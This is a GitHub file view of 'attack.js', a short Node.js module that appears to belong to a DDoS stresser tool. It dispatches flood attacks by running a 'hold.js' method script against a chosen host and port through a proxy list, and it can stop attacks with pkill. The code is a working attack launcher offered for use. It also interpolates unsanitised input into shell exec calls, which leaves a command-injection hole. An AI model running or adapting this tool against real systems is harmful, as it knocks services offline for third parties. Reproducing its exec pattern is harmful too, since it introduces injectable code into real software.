-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathattack.js
More file actions
24 lines (23 loc) · 694 Bytes
/
attack.js
File metadata and controls
24 lines (23 loc) · 694 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const { all, get } = require("axios");
const {
exec
} = require('child_process');
class Attack {
static async send(host, port, time, method) {
switch(method.toLowerCase()) {
case "hold":
all([
exec(`cd Method && node hold.js ${host} ${time} 32 10 proxy.txt`)
]);
console.log(`New attack | Method : ${method}, Attacking -> ${host}:${port}`)
break;
case "stop":
all([
exec(`pkill ${host} -f`)
]);
console.log(`Stoped Attack For ${host}`)
break;
}
}
}
module.exports = Attack;